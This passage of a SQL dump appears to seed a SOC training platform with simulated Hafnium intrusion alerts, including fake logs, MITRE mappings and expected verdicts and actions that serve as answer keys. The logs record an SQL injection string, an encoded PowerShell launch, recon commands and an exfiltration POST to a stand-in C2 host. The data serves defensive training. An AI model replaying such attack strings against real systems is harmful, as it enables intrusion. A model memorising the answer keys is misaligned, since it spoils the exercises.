detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-17T04:12:34Z\\\",\\\"src_ip\\\":\\\"203.0.113.45\\\",\\\"dest_ip\\\":\\\"192.168.1.10\\\",\\\"username\\\":\\\"SYSTEM\\\",\\\"exploit\\\":\\\"ProxyLogon\\\",\\\"url\\\":\\\"/owa/auth/x.js\\\",\\\"user_agent\\\":\\\"Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)\\\",\\\"file_hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\",\\\"file_name\\\":\\\"shell.aspx\\\"}\"},{\"timestamp\":\"2026-02-01T20:31:18.934Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-17T04:12:34Z\\\",\\\"src_ip\\\":\\\"203.0.113.45\\\",\\\"dest_ip\\\":\\\"192.168.1.10\\\",\\\"username\\\":\\\"SYSTEM\\\",\\\"exploit\\\":\\\"ProxyLogon\\\",\\\"url\\\":\\\"/owa/auth/x.js\\\",\\\"user_agent\\\":\\\"Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)\\\",\\\"file_hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\",\\\"file_name\\\":\\\"shell.aspx\\\"}\"},{\"timestamp\":\"2026-02-01T20:30:18.934Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-17T04:12:34Z\\\",\\\"src_ip\\\":\\\"203.0.113.45\\\",\\\"dest_ip\\\":\\\"192.168.1.10\\\",\\\"username\\\":\\\"SYSTEM\\\",\\\"exploit\\\":\\\"ProxyLogon\\\",\\\"url\\\":\\\"/owa/auth/x.js\\\",\\\"user_agent\\\":\\\"Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)\\\",\\\"file_hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\",\\\"file_name\\\":\\\"shell.aspx\\\"}\"},{\"timestamp\":\"2026-02-01T20:29:18.934Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-17T04:12:34Z\\\",\\\"src_ip\\\":\\\"203.0.113.45\\\",\\\"dest_ip\\\":\\\"192.168.1.10\\\",\\\"username\\\":\\\"SYSTEM\\\",\\\"exploit\\\":\\\"ProxyLogon\\\",\\\"url\\\":\\\"/owa/auth/x.js\\\",\\\"user_agent\\\":\\\"Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)\\\",\\\"file_hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\",\\\"file_name\\\":\\\"shell.aspx\\\"}\"},{\"timestamp\":\"2026-02-01T20:28:18.934Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-17T04:12:34Z\\\",\\\"src_ip\\\":\\\"203.0.113.45\\\",\\\"dest_ip\\\":\\\"192.168.1.10\\\",\\\"username\\\":\\\"SYSTEM\\\",\\\"exploit\\\":\\\"ProxyLogon\\\",\\\"url\\\":\\\"/owa/auth/x.js\\\",\\\"user_agent\\\":\\\"Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)\\\",\\\"file_hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\",\\\"file_name\\\":\\\"shell.aspx\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0),
(340, 'Web Shell Deployment - China Chopper', 'high', 'Web server logs', 'Following initial access, Hafnium deploys the China Chopper web shell to maintain persistent access and command capabilities on the compromised server. The web shell allows remote control and execution of commands on the server.', 'Malware Installation', 'T1505.003 - Web Shell', 1, 'new', NULL, '{\"timestamp\":\"2023-10-12T13:45:23Z\",\"source_ip\":\"203.0.113.45\",\"destination_ip\":\"192.168.1.100\",\"http_method\":\"POST\",\"requested_url\":\"/uploads/chopper.jsp\",\"response_code\":200,\"user_agent\":\"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.107 Safari/537.36\",\"filename\":\"chopper.jsp\",\"file_hash\":\"d41d8cd98f00b204e9800998ecf8427e\",\"username\":\"webadmin\"}', '2026-01-03 00:04:00', '2026-02-14 16:52:12', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence Feed\",\"verdict\":\"malicious\",\"details\":\"Associated with known APT activity\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"192.168.1.100\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Network\",\"verdict\":\"internal\",\"details\":\"Internal web server\"}},{\"id\":\"artifact_3\",\"type\":\"hash\",\"value\":\"d41d8cd98f00b204e9800998ecf8427e\",\"is_critical\":true,\"osint_result\":{\"source\":\"Malware Database\",\"verdict\":\"malicious\",\"details\":\"Known hash for China Chopper web shell\"}},{\"id\":\"artifact_4\",\"type\":\"filename\",\"value\":\"chopper.jsp\",\"is_critical\":true,\"osint_result\":{\"source\":\"File Analysis\",\"verdict\":\"malicious\",\"details\":\"Web shell filename used by attackers\"}},{\"id\":\"artifact_5\",\"type\":\"username\",\"value\":\"webadmin\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Logs\",\"verdict\":\"internal\",\"details\":\"Username for web server administration\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"]}', 'Intermediate', 'MAL', 1, 0, NULL, NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-02-01T20:32:18.935Z\",\"source\":\"/var/log/nginx/access.log\",\"event_code\":\"403\",\"message\":\"GET /login.php?user=admin\' OR \'1\'=\'1 HTTP/1.1 - 403 Forbidden - IP: 203.0.113.55\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-12T13:45:23Z\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"destination_ip\\\":\\\"192.168.1.100\\\",\\\"http_method\\\":\\\"POST\\\",\\\"requested_url\\\":\\\"/uploads/chopper.jsp\\\",\\\"response_code\\\":200,\\\"user_agent\\\":\\\"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.107 Safari/537.36\\\",\\\"filename\\\":\\\"chopper.jsp\\\",\\\"file_hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\",\\\"username\\\":\\\"webadmin\\\"}\"},{\"timestamp\":\"2026-02-01T20:31:18.935Z\",\"source\":\"/var/log/nginx/access.log\",\"event_code\":\"403\",\"message\":\"GET /login.php?user=admin\' OR \'1\'=\'1 HTTP/1.1 - 403 Forbidden - IP: 203.0.113.55 [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-12T13:45:23Z\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"destination_ip\\\":\\\"192.168.1.100\\\",\\\"http_method\\\":\\\"POST\\\",\\\"requested_url\\\":\\\"/uploads/chopper.jsp\\\",\\\"response_code\\\":200,\\\"user_agent\\\":\\\"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.107 Safari/537.36\\\",\\\"filename\\\":\\\"chopper.jsp\\\",\\\"file_hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\",\\\"username\\\":\\\"webadmin\\\"}\"},{\"timestamp\":\"2026-02-01T20:30:18.935Z\",\"source\":\"/var/log/nginx/access.log\",\"event_code\":\"403\",\"message\":\"GET /login.php?user=admin\' OR \'1\'=\'1 HTTP/1.1 - 403 Forbidden - IP: 203.0.113.55 [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-12T13:45:23Z\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"destination_ip\\\":\\\"192.168.1.100\\\",\\\"http_method\\\":\\\"POST\\\",\\\"requested_url\\\":\\\"/uploads/chopper.jsp\\\",\\\"response_code\\\":200,\\\"user_agent\\\":\\\"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.107 Safari/537.36\\\",\\\"filename\\\":\\\"chopper.jsp\\\",\\\"file_hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\",\\\"username\\\":\\\"webadmin\\\"}\"},{\"timestamp\":\"2026-02-01T20:29:18.935Z\",\"source\":\"/var/log/nginx/access.log\",\"event_code\":\"403\",\"message\":\"GET /login.php?user=admin\' OR \'1\'=\'1 HTTP/1.1 - 403 Forbidden - IP: 203.0.113.55 [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-12T13:45:23Z\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"destination_ip\\\":\\\"192.168.1.100\\\",\\\"http_method\\\":\\\"POST\\\",\\\"requested_url\\\":\\\"/uploads/chopper.jsp\\\",\\\"response_code\\\":200,\\\"user_agent\\\":\\\"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.107 Safari/537.36\\\",\\\"filename\\\":\\\"chopper.jsp\\\",\\\"file_hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\",\\\"username\\\":\\\"webadmin\\\"}\"},{\"timestamp\":\"2026-02-01T20:28:18.935Z\",\"source\":\"/var/log/nginx/access.log\",\"event_code\":\"403\",\"message\":\"GET /login.php?user=admin\' OR \'1\'=\'1 HTTP/1.1 - 403 Forbidden - IP: 203.0.113.55 [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-12T13:45:23Z\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"destination_ip\\\":\\\"192.168.1.100\\\",\\\"http_method\\\":\\\"POST\\\",\\\"requested_url\\\":\\\"/uploads/chopper.jsp\\\",\\\"response_code\\\":200,\\\"user_agent\\\":\\\"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.107 Safari/537.36\\\",\\\"filename\\\":\\\"chopper.jsp\\\",\\\"file_hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\",\\\"username\\\":\\\"webadmin\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/nginx/access.log\\\" | head 100\"}}', 0),
(341, 'Credential Harvesting via Mimikatz', 'critical', 'Endpoint detection logs', 'With web shell access established, Hafnium utilizes Mimikatz to extract credentials, enabling further infiltration within the network. Endpoint detection identified the execution of the Mimikatz tool to dump credentials from LSASS.', 'Credential Access', 'T1003: Credential Dumping', 1, 'resolved', NULL, '{\"timestamp\":\"2023-10-11T14:23:45Z\",\"event_id\":\"4624\",\"source_ip\":\"203.0.113.45\",\"destination_ip\":\"192.168.1.25\",\"username\":\"jdoe\",\"process_name\":\"mimikatz.exe\",\"file_hash\":\"b1946ac92492d2347c6235b4d2611184\",\"detection_method\":\"behavioral\",\"alert_trigger\":\"Unauthorized credential dump detected\",\"host_ip\":\"192.168.1.25\",\"host_name\":\"workstation-01\"}', '2026-01-03 00:04:00', '2026-02-18 12:29:14', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence Feed\",\"verdict\":\"malicious\",\"details\":\"Known command and control server IP\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"192.168.1.25\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Asset Database\",\"verdict\":\"internal\",\"details\":\"Corporate workstation\"}},{\"id\":\"artifact_3\",\"type\":\"filename\",\"value\":\"mimikatz.exe\",\"is_critical\":true,\"osint_result\":{\"source\":\"Malware Database\",\"verdict\":\"malicious\",\"details\":\"Credential dumping tool\"}},{\"id\":\"artifact_4\",\"type\":\"hash\",\"value\":\"b1946ac92492d2347c6235b4d2611184\",\"is_critical\":true,\"osint_result\":{\"source\":\"Malware Database\",\"verdict\":\"malicious\",\"details\":\"Match with known Mimikatz hash\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\"]}', 'Advanced', 'NDR', 1, 0, NULL, NULL, NULL, '{\"tool\":\"EDR\",\"evidence\":{\"hostname\":\"WORKSTATION-01\",\"os\":\"Windows 10 Enterprise\",\"agent_version\":\"7.12.0\",\"process_tree\":[{\"id\":100,\"name\":\"explorer.exe\",\"pid\":4520,\"user\":\"jdoe\",\"cmd\":\"explorer.exe\",\"integrity\":\"Medium\",\"children\":[101]},{\"id\":101,\"name\":\"powershell.exe\",\"pid\":5100,\"user\":\"jdoe\",\"cmd\":\"powershell.exe -nop -enc AAB...\",\"integrity\":\"High\",\"children\":[102],\"highlight\":true},{\"id\":102,\"name\":\"conhost.exe\",\"pid\":5101,\"user\":\"jdoe\",\"cmd\":\"conhost.exe\",\"integrity\":\"High\",\"children\":[]}],\"network_connections\":[{\"pid\":5100,\"remote_ip\":\"203.0.113.55\",\"port\":443,\"state\":\"ESTABLISHED\",\"process\":\"powershell.exe\"}]}}', 0);
INSERT INTO `alerts` (`id`, `title`, `severity`, `source`, `details`, `alert_type`, `mitre_technique`, `real_world_example`, `status`, `assigned_to`, `raw_log`, `created_at`, `updated_at`, `playbook_solution`, `difficulty`, `path_code`, `min_level`, `is_ai_generated`, `sector_code`, `created_by`, `organization_id`, `simulation_data`, `is_archived`) VALUES
(342, 'Lateral Movement Through SMB', 'high', 'Network traffic analysis', 'Using harvested credentials, Hafnium moves laterally across the network by exploiting SMB protocol vulnerabilities, targeting additional critical systems.', 'Network Propagation', 'T1021.002', 1, 'new', NULL, '{\"timestamp\":\"2023-10-21T14:32:45Z\",\"source_ip\":\"203.0.113.45\",\"destination_ip\":\"192.168.15.23\",\"protocol\":\"SMB\",\"action\":\"Access Granted\",\"username\":\"j.doe\",\"file_accessed\":\"\\\\\\\\192.168.15.23\\\\C$\\\\Windows\\\\system32\\\\cmd.exe\",\"hash\":\"3f786850e387550fdab836ed7e6dc881de23001b\",\"event_id\":4624,\"message\":\"An account was successfully logged on\",\"logon_type\":3}', '2026-01-03 00:04:00', '2026-02-14 16:52:12', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence Database\",\"verdict\":\"malicious\",\"details\":\"Known Hafnium APT IP address\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"192.168.15.23\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Inventory\",\"verdict\":\"internal\",\"details\":\"Corporate workstation\"}},{\"id\":\"artifact_3\",\"type\":\"hash\",\"value\":\"3f786850e387550fdab836ed7e6dc881de23001b\",\"is_critical\":true,\"osint_result\":{\"source\":\"Malware Analysis Platform\",\"verdict\":\"malicious\",\"details\":\"Associated with Hafnium\'s lateral movement tools\"}},{\"id\":\"artifact_4\",\"type\":\"username\",\"value\":\"j.doe\",\"is_critical\":false,\"osint_result\":{\"source\":\"Active Directory\",\"verdict\":\"internal\",\"details\":\"Valid corporate user\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\"]}', 'Intermediate', 'NDR', 1, 0, NULL, NULL, NULL, '{\"tool\":\"Firewall\",\"evidence\":{\"policy_name\":\"Block_Outbound_Direct_IP\",\"action\":\"ALLOW\",\"interface_in\":\"eth0\",\"interface_out\":\"eth1\",\"packets\":[{\"time\":\"10:00:01\",\"src\":\"10.0.0.5\",\"dst\":\"8.8.8.8\",\"proto\":\"UDP\",\"port\":53,\"size\":120,\"action\":\"ALLOW\"},{\"time\":\"10:00:02\",\"src\":\"10.0.0.5\",\"dst\":\"203.0.113.15\",\"proto\":\"TCP\",\"port\":443,\"size\":1500,\"action\":\"ALLOW\",\"alert\":true}]}}', 0),
(343, 'Execution of Reconnaissance Commands', 'high', 'Command-line audit logs', 'Hafnium executed a series of reconnaissance commands to map the network and locate key data repositories. This activity is indicative of an advanced attack with the objective of identifying sensitive data and valuable assets within the target organization.', 'Reconnaissance', 'T1016 - System Network Configuration Discovery', 1, 'new', NULL, '{\"timestamp\":\"2023-10-18T14:23:56Z\",\"event_id\":4624,\"command\":\"netstat -an; ipconfig /all; systeminfo\",\"user\":\"compromised_user\",\"source_ip\":\"203.0.113.45\",\"internal_ip\":\"192.168.1.10\",\"filename\":\"network_recon_tool.exe\",\"hash\":\"d41d8cd98f00b204e9800998ecf8427e\"}', '2026-01-03 00:04:00', '2026-02-14 16:52:12', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence Platform\",\"verdict\":\"malicious\",\"details\":\"Known IP associated with Hafnium APT group.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"192.168.1.10\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Network\",\"verdict\":\"internal\",\"details\":\"Internal network IP address.\"}},{\"id\":\"artifact_3\",\"type\":\"filename\",\"value\":\"network_recon_tool.exe\",\"is_critical\":true,\"osint_result\":{\"source\":\"Endpoint Security\",\"verdict\":\"suspicious\",\"details\":\"Unusual tool executed on the endpoint by a compromised user.\"}},{\"id\":\"artifact_4\",\"type\":\"hash\",\"value\":\"d41d8cd98f00b204e9800998ecf8427e\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Hash matches known malicious software used by Hafnium.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"]}', 'Intermediate', 'NDR', 1, 0, NULL, NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-02-01T20:32:18.938Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-18T14:23:56Z\\\",\\\"event_id\\\":4624,\\\"command\\\":\\\"netstat -an; ipconfig /all; systeminfo\\\",\\\"user\\\":\\\"compromised_user\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"internal_ip\\\":\\\"192.168.1.10\\\",\\\"filename\\\":\\\"network_recon_tool.exe\\\",\\\"hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\"}\"},{\"timestamp\":\"2026-02-01T20:31:18.938Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-18T14:23:56Z\\\",\\\"event_id\\\":4624,\\\"command\\\":\\\"netstat -an; ipconfig /all; systeminfo\\\",\\\"user\\\":\\\"compromised_user\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"internal_ip\\\":\\\"192.168.1.10\\\",\\\"filename\\\":\\\"network_recon_tool.exe\\\",\\\"hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\"}\"},{\"timestamp\":\"2026-02-01T20:30:18.938Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-18T14:23:56Z\\\",\\\"event_id\\\":4624,\\\"command\\\":\\\"netstat -an; ipconfig /all; systeminfo\\\",\\\"user\\\":\\\"compromised_user\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"internal_ip\\\":\\\"192.168.1.10\\\",\\\"filename\\\":\\\"network_recon_tool.exe\\\",\\\"hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\"}\"},{\"timestamp\":\"2026-02-01T20:29:18.938Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-18T14:23:56Z\\\",\\\"event_id\\\":4624,\\\"command\\\":\\\"netstat -an; ipconfig /all; systeminfo\\\",\\\"user\\\":\\\"compromised_user\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"internal_ip\\\":\\\"192.168.1.10\\\",\\\"filename\\\":\\\"network_recon_tool.exe\\\",\\\"hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\"}\"},{\"timestamp\":\"2026-02-01T20:28:18.938Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-18T14:23:56Z\\\",\\\"event_id\\\":4624,\\\"command\\\":\\\"netstat -an; ipconfig /all; systeminfo\\\",\\\"user\\\":\\\"compromised_user\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"internal_ip\\\":\\\"192.168.1.10\\\",\\\"filename\\\":\\\"network_recon_tool.exe\\\",\\\"hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0),
(344, 'Data Collection for Exfiltration', 'high', 'File access logs', 'An advanced threat actor, identified as Hafnium, has aggregated sensitive information. The data is being prepared for exfiltration. This activity was detected through abnormal file access patterns linked to known malicious IP addresses.', 'Data Collection', 'T1005: Data from Local System', 1, 'new', NULL, '{\"timestamp\":\"2023-10-12T15:23:34Z\",\"source_ip\":\"203.0.113.45\",\"destination_ip\":\"10.0.0.25\",\"username\":\"j.doe\",\"file_accessed\":\"/financial_reports/2023/Q3_financials.xlsx\",\"hash\":\"a1b2c3d4e5f67890123456789abcdef0\",\"action\":\"read\",\"status\":\"success\"}', '2026-01-03 00:04:00', '2026-02-14 16:52:12', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence Platform\",\"verdict\":\"malicious\",\"details\":\"Known Hafnium IP associated with data exfiltration activities.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"10.0.0.25\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Network\",\"verdict\":\"internal\",\"details\":\"Internal host potentially compromised.\"}},{\"id\":\"artifact_3\",\"type\":\"username\",\"value\":\"j.doe\",\"is_critical\":false,\"osint_result\":{\"source\":\"Active Directory\",\"verdict\":\"suspicious\",\"details\":\"Unusual file access patterns detected.\"}},{\"id\":\"artifact_4\",\"type\":\"filename\",\"value\":\"/financial_reports/2023/Q3_financials.xlsx\",\"is_critical\":true,\"osint_result\":{\"source\":\"File Monitoring System\",\"verdict\":\"suspicious\",\"details\":\"Sensitive file accessed during off-hours by suspicious IP.\"}},{\"id\":\"artifact_5\",\"type\":\"hash\",\"value\":\"a1b2c3d4e5f67890123456789abcdef0\",\"is_critical\":true,\"osint_result\":{\"source\":\"Malware Database\",\"verdict\":\"malicious\",\"details\":\"Hash associated with malware used by Hafnium.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"]}', 'Intermediate', 'TI', 1, 0, NULL, NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-02-01T20:32:18.939Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-12T15:23:34Z\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"destination_ip\\\":\\\"10.0.0.25\\\",\\\"username\\\":\\\"j.doe\\\",\\\"file_accessed\\\":\\\"/financial_reports/2023/Q3_financials.xlsx\\\",\\\"hash\\\":\\\"a1b2c3d4e5f67890123456789abcdef0\\\",\\\"action\\\":\\\"read\\\",\\\"status\\\":\\\"success\\\"}\"},{\"timestamp\":\"2026-02-01T20:31:18.939Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-12T15:23:34Z\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"destination_ip\\\":\\\"10.0.0.25\\\",\\\"username\\\":\\\"j.doe\\\",\\\"file_accessed\\\":\\\"/financial_reports/2023/Q3_financials.xlsx\\\",\\\"hash\\\":\\\"a1b2c3d4e5f67890123456789abcdef0\\\",\\\"action\\\":\\\"read\\\",\\\"status\\\":\\\"success\\\"}\"},{\"timestamp\":\"2026-02-01T20:30:18.939Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-12T15:23:34Z\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"destination_ip\\\":\\\"10.0.0.25\\\",\\\"username\\\":\\\"j.doe\\\",\\\"file_accessed\\\":\\\"/financial_reports/2023/Q3_financials.xlsx\\\",\\\"hash\\\":\\\"a1b2c3d4e5f67890123456789abcdef0\\\",\\\"action\\\":\\\"read\\\",\\\"status\\\":\\\"success\\\"}\"},{\"timestamp\":\"2026-02-01T20:29:18.939Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-12T15:23:34Z\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"destination_ip\\\":\\\"10.0.0.25\\\",\\\"username\\\":\\\"j.doe\\\",\\\"file_accessed\\\":\\\"/financial_reports/2023/Q3_financials.xlsx\\\",\\\"hash\\\":\\\"a1b2c3d4e5f67890123456789abcdef0\\\",\\\"action\\\":\\\"read\\\",\\\"status\\\":\\\"success\\\"}\"},{\"timestamp\":\"2026-02-01T20:28:18.939Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-12T15:23:34Z\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"destination_ip\\\":\\\"10.0.0.25\\\",\\\"username\\\":\\\"j.doe\\\",\\\"file_accessed\\\":\\\"/financial_reports/2023/Q3_financials.xlsx\\\",\\\"hash\\\":\\\"a1b2c3d4e5f67890123456789abcdef0\\\",\\\"action\\\":\\\"read\\\",\\\"status\\\":\\\"success\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0),
(345, 'Data Exfiltration via HTTP POST', 'critical', 'Network traffic logs', 'Anomalous outbound traffic detected from an internal host to a known malicious IP, indicating possible data exfiltration via HTTP POST requests.', 'Data Exfiltration', 'T1041', 1, 'resolved', 34, '{\"timestamp\":\"2023-10-05T14:32:00Z\",\"source_ip\":\"192.168.1.25\",\"destination_ip\":\"203.0.113.45\",\"http_method\":\"POST\",\"url\":\"http://malicious-cc-server.com/upload\",\"user_agent\":\"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.212 Safari/537.36\",\"filename\":\"exfiltrated_data.zip\",\"file_hash\":\"d41d8cd98f00b204e9800998ecf8427e\",\"username\":\"john_doe\",\"response_code\":200}', '2026-01-03 00:04:00', '2026-02-14 16:52:12', 